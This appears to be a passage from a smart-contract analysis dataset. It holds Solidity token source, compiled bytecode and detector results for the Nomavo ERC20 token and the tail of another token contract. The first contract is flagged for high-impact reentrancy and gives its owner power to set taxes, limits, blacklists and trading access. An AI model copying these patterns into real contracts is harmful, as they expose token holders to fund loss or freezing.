_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610530578063c3c8cd8014610560578063dd62ed3e14610575578063ea1644d5146105bb57600080fd5b806398a5c315146104a0578063a2a957bb146104c0578063a9059cbb146104e0578063bdd795ef1461050057600080fd5b80638da5cb5b116100d15780638da5cb5b1461041b5780638f70ccf7146104395780638f9a55c01461045957806395d89b411461046f57600080fd5b8063715018a6146103d057806374010ece146103e55780637d1db4a51461040557600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035b5780636d8aa8f81461037b5780636fc3eaec1461039b57806370a08231146103b057600080fd5b80632fd689e314610309578063313ce5671461031f57806349bd5a5e1461033b57600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c95780632f9c4569146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611925565b6105db565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b416b617473756b6920496e7560a01b60208201525b6040516102319190611a4f565b60405180910390f35b34801561024657600080fd5b5061025a6102553660046118fa565b610688565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b5069152d02c7e14af68000005b604051908152602001610231565b3480156102d557600080fd5b5061025a6102e4366004611886565b61069f565b3480156102f557600080fd5b506101f16103043660046118c6565b610708565b34801561031557600080fd5b506102bb60185481565b34801561032b57600080fd5b5060405160098152602001610231565b34801561034757600080fd5b5060155461028a906001600160a01b031681565b34801561036757600080fd5b506101f1610376366004611816565b6107cc565b34801561038757600080fd5b506101f16103963660046119ec565b610817565b3480156103a757600080fd5b506101f161085f565b3480156103bc57600080fd5b506102bb6103cb366004611816565b61088c565b3480156103dc57600080fd5b506101f16108ae565b3480156103f157600080fd5b506101f1610400366004611a06565b610922565b34801561041157600080fd5b506102bb60165481565b34801561042757600080fd5b506000546001600160a01b031661028a565b34801561044557600080fd5b506101f16104543660046119ec565b610951565b34801561046557600080fd5b506102bb60175481565b34801561047b57600080fd5b50604080518082019091526008815267414b415453554b4960c01b6020820152610224565b3480156104ac57600080fd5b506101f16104bb366004611a06565b610999565b3480156104cc57600080fd5b506101f16104db366004611a1e565b6109c8565b3480156104ec57600080fd5b5061025a6104fb3660046118fa565b610a06565b34801561050c57600080fd5b5061025a61051b366004611816565b60116020526000908152604090205460ff1681565b34801561053c57600080fd5b5061025a61054b366004611816565b60106020526000908152604090205460ff1681565b34801561056c57600080fd5b506101f1610a13565b34801561058157600080fd5b506102bb61059036600461184e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101f16105d6366004611a06565b610a49565b6000546001600160a01b0316331461060e5760405162461bcd60e51b815260040161060590611aa2565b60405180910390fd5b60005b81518110156106845760016010600084848151811061064057634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067c81611bb5565b915050610611565b5050565b6000610695338484610a78565b5060015b92915050565b60006106ac848484610b9c565b6106fe84336106f985604051806060016040528060288152602001611c12602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061109f565b610a78565b5060019392505050565b6000546001600160a01b031633146107325760405162461bcd60e51b815260040161060590611aa2565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a15760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610605565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f65760405162461bcd60e51b815260040161060590611aa2565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161060590611aa2565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461087f57600080fd5b47610889816110d9565b50565b6001600160a01b03811660009081526002602052604081205461069990611113565b6000546001600160a01b031633146108d85760405162461bcd60e51b815260040161060590611aa2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094c5760405162461bcd60e51b815260040161060590611aa2565b601655565b6000546001600160a01b0316331461097b5760405162461bcd60e51b815260040161060590611aa2565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c35760405162461bcd60e51b815260040161060590611aa2565b601855565b6000546001600160a01b031633146109f25760405162461bcd60e51b815260040161060590611aa2565b600893909355600a91909155600955600b55565b6000610695338484610b9c565b6013546001600160a01b0316336001600160a01b031614610a3357600080fd5b6000610a3e3061088c565b905061088981611197565b6000546001600160a01b03163314610a735760405162461bcd60e51b815260040161060590611aa2565b601755565b6001600160a01b038316610ada5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610605565b6001600160a01b038216610b3b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610605565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c005760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610605565b6001600160a01b038216610c625760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610605565b60008111610cc45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610605565b6000546001600160a01b03848116911614801590610cf057506000546001600160a01b03838116911614155b15610f9257601554600160a01b900460ff16610d94576001600160a01b03831660009081526011602052604090205460ff16610d945760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610605565b601654811115610de65760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610605565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2857506001600160a01b03821660009081526010602052604090205460ff16155b610e805760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610605565b6015546001600160a01b03838116911614610f055760175481610ea28461088c565b610eac9190611b47565b10610f055760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610605565b6000610f103061088c565b601854601654919250821015908210610f295760165491505b808015610f405750601554600160a81b900460ff16155b8015610f5a57506015546001600160a01b03868116911614155b8015610f6f5750601554600160b01b900460ff165b15610f8f57610f7d82611197565b478015610f8d57610f8d476110d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd457506001600160a01b03831660009081526005602052604090205460ff165b8061100657506015546001600160a01b0385811691161480159061100657506015546001600160a01b03848116911614155b156110135750600061108d565b6015546001600160a01b03858116911614801561103e57506014546001600160a01b03848116911614155b1561105057600854600c55600954600d555b6015546001600160a01b03848116911614801561107b57506014546001600160a01b03858116911614155b1561108d57600a54600c55600b54600d555b6110998484848461133c565b50505050565b600081848411156110c35760405162461bcd60e51b81526004016106059190611a4f565b5060006110d08486611b9e565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610684573d6000803e3d6000fd5b600060065482111561117a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610605565b600061118461136a565b9050611190838261138d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ed57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124157600080fd5b505afa158015611255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112799190611832565b8160018151811061129a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c09130911684610a78565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112f9908590600090869030904290600401611ad7565b600060405180830381600087803b15801561131357600080fd5b505af1158015611327573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611349576113496113cf565b6113548484846113fd565b8061109957611099600e54600c55600f54600d55565b60008060006113776114f4565b9092509050611386828261138d565b9250505090565b600061119083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611538565b600c541580156113df5750600d54155b156113e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061140f87611566565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144190876115c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114709086611605565b6001600160a01b03891660009081526002602052604090205561149281611664565b61149c84836116ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e191815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af6800000611511828261138d565b82101561152f5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115595760405162461bcd60e51b81526004016106059190611a4f565b5060006110d08486611b5f565b60008060008060008060008060006115838a600c54600d546116d2565b925092509250600061159361136a565b905060008060006115a68e878787611727565b919e509c509a509598509396509194505050505091939550919395565b600061119083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061109f565b6000806116128385611b47565b9050838110156111905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b600061166e61136a565b9050600061167c8383611777565b306000908152600260205260409020549091506116999082611605565b30600090815260026020526040902055505050565b6006546116bb90836115c3565b6006556007546116cb9082611605565b6007555050565b60008080806116ec60646116e68989611777565b9061138d565b905060006116ff60646116e68a89611777565b90506000611717826117118b866115c3565b906115c3565b9992985090965090945050505050565b60008080806117368886611777565b905060006117448887611777565b905060006117528888611777565b905060006117648261171186866115c3565b939b939a50919850919650505050505050565b60008261178657506000610699565b60006117928385611b7f565b90508261179f8583611b5f565b146111905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610605565b803561180181611bfc565b919050565b8035801515811461180157600080fd5b600060208284031215611827578081fd5b813561119081611bfc565b600060208284031215611843578081fd5b815161119081611bfc565b60008060408385031215611860578081fd5b823561186b81611bfc565b9150602083013561187b81611bfc565b809150509250929050565b60008060006060848603121561189a578081fd5b83356118a581611bfc565b925060208401356118b581611bfc565b929592945050506040919091013590565b600080604083850312156118d8578182fd5b82356118e381611bfc565b91506118f160208401611806565b90509250929050565b6000806040838503121561190c578182fd5b823561191781611bfc565b946020939093013593505050565b60006020808385031215611937578182fd5b823567ffffffffffffffff8082111561194e578384fd5b818501915085601f830112611961578384fd5b81358181111561197357611973611be6565b8060051b604051601f19603f8301168101818110858211171561199857611998611be6565b604052828152858101935084860182860187018a10156119b6578788fd5b8795505b838610156119df576119cb816117f6565b8552600195909501949386019386016119ba565b5098975050505050505050565b6000602082840312156119fd578081fd5b61119082611806565b600060208284031215611a17578081fd5b5035919050565b60008060008060808587031215611a33578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7b57858101830151858201604001528201611a5f565b81811115611a8c5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b265784516001600160a01b031683529383019391830191600101611b01565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5a57611b5a611bd0565b500190565b600082611b7a57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9957611b99611bd0565b500290565b600082821015611bb057611bb0611bd0565b500390565b6000600019821415611bc957611bc9611bd0565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056dc3eacb229dba0c71b204327dac47ab504d003228fc643264598035245fa4064736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,320 |
0x48e77357db13bc80ed175bd20a6302b1bb66bbd3
|
/**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'Nomavo' token contract
//
// Symbol : Noma
// Name : Nomavo
// Total supply: 21 000 000
// Decimals : 8
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract Noma is BurnableToken {
string public constant name = "Nomavo";
string public constant symbol = "Noma";
uint public constant decimals = 8;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 21000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600681526020017f4e6f6d61766f000000000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a6301406f400281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4e6f6d610000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea26469706673582212203074648a208a7a66c2198cc67449f90e98784cc3f17887e54d517da6da4577e964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,321 |
0x1d0bdc6f642e501c77a2ba1994bf42c62632b687
|
/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
